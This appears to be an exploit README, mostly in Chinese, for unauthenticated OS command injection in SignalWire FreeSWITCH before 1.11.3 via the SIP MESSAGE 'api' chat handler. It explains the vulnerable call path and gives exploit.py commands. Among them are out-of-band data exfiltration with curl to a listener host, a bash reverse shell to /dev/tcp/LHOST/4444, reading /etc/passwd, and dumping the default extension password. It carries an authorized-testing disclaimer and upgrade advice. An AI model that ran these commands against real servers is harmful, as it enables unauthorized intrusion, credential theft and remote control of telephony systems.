通过 SIP MESSAGE api chat 处理器实现未认证的 OS 命令执行
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-116779 |
| 产品 | SignalWire FreeSWITCH |
| 受影响版本 | < 1.11.3 |
| 修复版本 | v1.11.3(提交 7015f6a) |
| CVSS v3 | 9.8 CRITICAL(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-78 — OS 命令注入 |
| 安全公告 | GHSA-mg63-h38w-8p9p |
免责声明: 仅用于经授权的安全测试与教育目的。 请仅在您拥有或已获得明确书面许可进行测试的实验室环境中运行。
sofia_presence_handle_sip_i_message() 中的 mod_sofia/sofia_presence.c 会解析
To 头部的用户部分,并在第一个 + 处将其拆分。左半部分选择
一个聊天协议;右半部分则是参数。当协议为 api 时,
FreeSWITCH 会将参数传递给 switch_api_execute() —— 包括
system API 命令,该命令会以守护进程 UID 派生一个进程。
SIP MESSAGE (To: sip:api+system id@target)
→ sofia_presence_handle_sip_i_message() mod_sofia/sofia_presence.c
→ switch_core_chat_send("api", …) splits To user-part on '+'
→ switch_api_execute("system id") mod_commands.c → fork()
# Probe (safe — returns FreeSWITCH version)
python3 exploit.py 192.168.1.10
# Arbitrary FreeSWITCH API command
python3 exploit.py 192.168.1.10 -c "sofia status"
# OS command injection via the 'system' API
python3 exploit.py 192.168.1.10 -c "system id"
# Out-of-band exfil (stdout does not come back in the SIP 200 OK)
python3 exploit.py 192.168.1.10 -c "system curl http://LHOST/?o=\$(id|base64)"
usage: exploit.py [-h] [-p PORT] [-s SRC_IP] [-sp SRC_PORT] [-c CMD] target
positional arguments:
target FreeSWITCH host / IP
options:
-p, --port SIP UDP port (default: 5060)
-s, --src-ip Local IP to bind (default: auto-detect)
-sp, --src-port Local UDP port (default: 5099)
-c, --cmd FreeSWITCH API command (default: version)
| 命令 | 作用 |
|---|---|
version | 安全探测 — 返回 FS 版本 |
sofia status | SIP 配置文件、URI、传输 |
show registrations | 已注册分机及其 IP/UA |
eval $${default_password} | 默认分机密码 |
system id | 守护进程 UID |
system cat /etc/passwd | 文件读取 |
system bash -i >& /dev/tcp/LHOST/4444 0>&1 | 反弹 shell |
注意:
system的输出不会在 SIP 响应中返回。 请使用带外通道(HTTP 监听器、DNS 等)来捕获 stdout。
Python 3.6+ — 仅使用标准库,无依赖。
升级至 FreeSWITCH ≥ 1.11.3。
freeswitch -version # verify installed version